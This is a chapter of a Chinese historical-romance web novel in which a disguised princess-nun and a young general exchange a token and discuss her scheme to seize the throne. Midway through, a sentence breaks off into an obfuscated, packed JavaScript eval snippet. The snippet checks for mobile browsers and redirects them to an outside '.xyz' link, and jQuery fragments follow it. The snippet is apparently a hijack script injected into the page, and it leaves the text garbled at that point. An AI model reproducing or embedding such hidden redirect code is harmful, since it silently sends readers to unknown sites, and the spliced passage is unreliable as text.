未及楚昭月近前细观,窗棂外便探入个脑袋。
霍云飞单手撑着窗沿,将一枝红山茶递到她眼前,剑眉星目,眸光灼人。
他好像全然不知赠花在宫闱中藏着何等深意,只是随性折了开得最盛的一枝,便欲赠予即将相见的女子。
楚昭月步至窗前,并未立刻接花,先扫视窗外长廊,待收回视线欲启唇时,几缕青丝不经意拂过霍云飞掌心。
极轻的触感,却惹得他耳根生烫。
见霍云飞只是怔怔地望着自己,楚昭月轻拍他手臂,声音压低:“还愣着做什么?还不快进来?”
“哦……哦哦。”
他这才恍然回神,忙不迭颔首,手忙脚乱地翻窗而入。
进了殿内,他反倒拘谨起来,浑身不自在,方才的洒脱劲儿消失无踪,只觉掌心那缕发丝留下的痕迹仍在心底轻轻挠着。
他一时竟不知该说些什么。
“我方才迁居此殿,你从何得知?”楚昭月仔细合拢窗棂,转身问道。
“我吗……”他赧然一笑,将军脸颊泛起暗红,“其实我在宫中,耳目还算灵通。”
尤其是关于你的事。他低眉看着她,眼里含着未尽之语。
恰此时,楚昭月已然落座。
“陈玄命我入宫,别处不选,偏选这仪福殿。”楚昭月稍作思忖,“恐怕他已疑心我的身份。此殿,正是他为我设下的囚笼。”
她顿了顿,环视殿内陈设:“未立刻诛杀,若非证据不足,便是……”
“放长线,钓大鱼!”霍云飞捶住手心,声音响亮:
“正是。”楚昭月瞥了眼他,算是认同。
只这一眼,他颊边红意更盛。
楚昭月却没留意。只是心觉入住仪福殿与先前同宋先会面的时间点,未免太过巧合,加之程青早已明示宋先叛变。
宋先已然将她的身份禀告于陈玄,可陈玄却只是将她安排在此。这亦说明,陈玄对宋先这等叛先主的臣子,也并非全然信任。
不过这一切,早就在她的算计之中。
宋先的背叛,陈玄的猜疑,皆是她棋盘之上已然预见的走势。
正因预知宋先叛她,将“滕州计划”禀告陈玄,她才会告知与他。陈玄即便对宋先心存疑虑,但此等风声不可空穴来风,以他的心计,他宁可信其有,于是早下埋伏。
若她所料不差,陈玄此刻应以分派重兵前往滕州一线布防。
倒也中了她的计,依她与程青的计谋来看,陈玄派兵布防是重要的一环。
至于身份败露的风险,她亦做了相应准备。一切收拾妥当,最迟也需满月之后。
那时,她便将动身前往滕州,执棋下局。
只是这些谋划,她未曾与眼前之人言明。
而他此刻,也正用那双满是关切的眼神望着她。
他总是如此,似是全然不顾世俗礼法与男女大防,脱口而出追问道:“那你……你的安危呢?”
楚昭月心头一滞,不仅因他语含关切,更因他周身携着如烈日般的灼热。她偏开视线,缓声道:“我已有万全之策。”
“那……”为何不告诉我?
霍云飞几乎要脱口而出,旋即惊觉到二人之间似乎并未熟稔到可共享如此机密的地步。
自己的问题实在逾矩,他生生止住话头,从衣襟内取出一枚平安符,笨拙地转移话头。
“喏……这个送给你。”
素红锦囊,与听云寺香客长求的款式无二。
但她仍故作不知:“这是何物?”
“前几日法会,见有人特地向师父们请签请符,便也请了两枚。”他声音渐低,几乎微不可闻,似是羞赧,“一枚予你,一枚留我……这可是大师开过光的。”
楚昭月不禁莞尔:“你莫忘了,我本是佛门中人。”
霍云飞一怔,方才想起她比丘尼身份。自己献宝似的模样,在她眼中定然愚不可及。
“不过……”在他出神自省时,楚昭月却伸手,轻轻接过那枚红色的平安符,“多谢。”
随后,才从余光中瞥见,霍云飞稍稍呼出口气,她心中不解,送她个平安符而已,何必如此紧张?她又非凶神恶煞。
不过连她自己都诧异,她这般心冷之人,竟也会在意旁人是否会因此失落。
符面粗布硌着指尖,她轻轻摩挲着,忽然开口:“此物,便算作你我信物。”
“什……什么?”霍云飞惊得险些咬舌。
他心中的信物,素来与定情相系。
至于他,他心中莽得很。
他想问她是否忆起当年,却不知从何开口。
他不知那信任与悸动是否是慕艾之情,若真是,那似乎也太过随便,他们也仅仅见过几面,可……
霍云飞在心中反驳自己,幼时的惊鸿一瞥与彻夜紧依可抵得上千万面……
就算如此,可能确实对她心怀慕艾,可若论及婚聘,总该先禀明高堂、遵循六礼。
不过,既然她都主动提及了,不如先应下?
嗯,就这么办!余下之事再慢慢与家中周旋。
他脑中飞速盘算着该如何向父母开口,是说此女谋略过人,堪为良配?还是直言自己已心有所属,非卿不娶?思绪纷乱间,甚至想到若以她的身份,三书六聘当如何操办?怕是不能循常理。
总之,一切都以她的心思和身份为重。
他心中虽已有了决断,但面上强作镇定,甚至端出几分刻意的矜持:“信物什么的……是否有些为时过早?”
“早什么?”楚昭月眸露不解。
他见她满面茫然,暗忖如今出家人竟已如此不拘俗礼至此?她好歹明面上也是位出家人。
难不成是他霍云飞太过矜持了?
他面上红一阵白一阵。
楚昭月观他面色变幻,缓缓才道:“信物之事,自然越早定下越好,你我行此危及性命之事,留一信物,便于交接联络,验明正身,以防不测。你方才……究竟在想些什么?”
“咳咳咳……”他倏地咳嗽呛嘴。
听及此处,霍云飞才明白自己会错了意,面皮发烫。为了掩饰,脑子跟不住嘴,他竟将先前咽回去的问题径直问出:“你后续具体谋划为何?”
话音未落即惊觉失言,他慌忙掩口,连连摆手:“对不住……是我唐突了!你……你可以不答。”
楚昭月将平安符仔细收好,淡然道:“之前你听见我和温珣的谈话,当知概略。”
“我要借民怨激陈玄出手。”
“下一步,亲赴滕州。”
她将自己意图在滕州利用“钱法”与“民心”制造动乱的计划简要说与霍云飞听,却依旧将真正的核心谋划
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549945|186793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐去未提。
说到底,她仍无法全然信任他,恐生变数。
“那……施行此等计划时,百姓当如何?”霍云飞摩挲下巴,眉峰紧锁,“此计一出,先是税法流言引致商民恐慌,再是囤积致使物价飞涨,民生必然困顿。最后若再挑起民变,兵戈一起,创伤更甚。”
“若真要将黎民百姓作为棋局中的筹码,踏着苍生的血泪与安宁去争夺权位……且不论此计最终能否达成所愿。”
“殿下,您……于心可安?”
一席话,倒让楚昭月对他刮目相看。
原以为他只是个不解风月的将军,未曾想过心中竟怀这般悲悯。
她神色稍缓,郑重答道:“我绝不会将百姓安危置于我的复国大业之下。这点,你尽可放心。于我而言,若行此等伤害民生之事,与那陈玄何异?”
霍云飞闻言,神色才稍许放松。
她果然还是她,哪怕经历种种。
“待你复仇功成之后,可是要登临帝位?”
“这是自然。”楚昭月没有丝毫犹豫。
那些夜深人静的日子,见证了她从一个为家人丧命啼哭的女孩成为今日的冷硬心肠。
支撑她走过这十年的,唯有恨意。
恨比爱更长久。她那日对陈惟初所言,何尝不是说与己听?
唯有铭记仇恨,方能在这条孤绝之路上,保持绝对的清醒。
“怎么?”她抬眼看向霍云飞,目光沉静,“莫非你也觉得,女子之身,不配登临九五?”
“谁说的,女子为何不能当皇帝?”
他眉眼一扬,带着理所当然的狂气。
“有能者居之,若你坐得稳这江山。”
“我霍云飞第一个为你牵马坠蹬!”
言毕,目光再度落于她身。
“那……若你将来真坐了天下,你想做个什么样的皇帝?”
楚昭月未即刻应答,仰首望窗外皎月,随后才应,一字一句道:“为天下谋福祉,使四海清平,讼息刑措,幼有所养,老有所终。”
“如先父当年。”
随后楚昭月未多言,霍云飞亦并未多语。
二人在同一殿内有默契地不语。
唯有少年颊边红晕胜过千言万语。
他分不清这番情愫,究竟是对她本人,还是对所负的山河壮志。
索性合二为一。
他先前从未想过自己会这般容易满足,总以为唯有斩落敌酋首级时溅在他脸边的血滴,或是在猎猎作响的十万旌旗前策马,才能使他胸腔微颤。
却未曾想,在此刻,只能听到风吹竹林打叶声的月夜,仅仅是与她同处一室,仅仅听到她的呼吸声,一种前所未有的满足感便充席全身。
他怕一丝多余的声响,就会惊扰了身旁令他不自主欲要靠近的月华。
他候了十年的月华
-
与此同时,另一处宫苑,气氛却凝滞不同。
一个时辰前。
“公主……容臣先禀报陛下。”内常侍慌忙拦住怒意汹汹的陈惟初。
“禀报?我见他何须通传,你且去问问你的陛下,何不敢见我?”
而她未待内侍反应,径直闯入御书房,迎上陈玄阴鸷的目光:
“陈玄,你为何要让那央玉师太进宫!还偏安置在仪福殿?”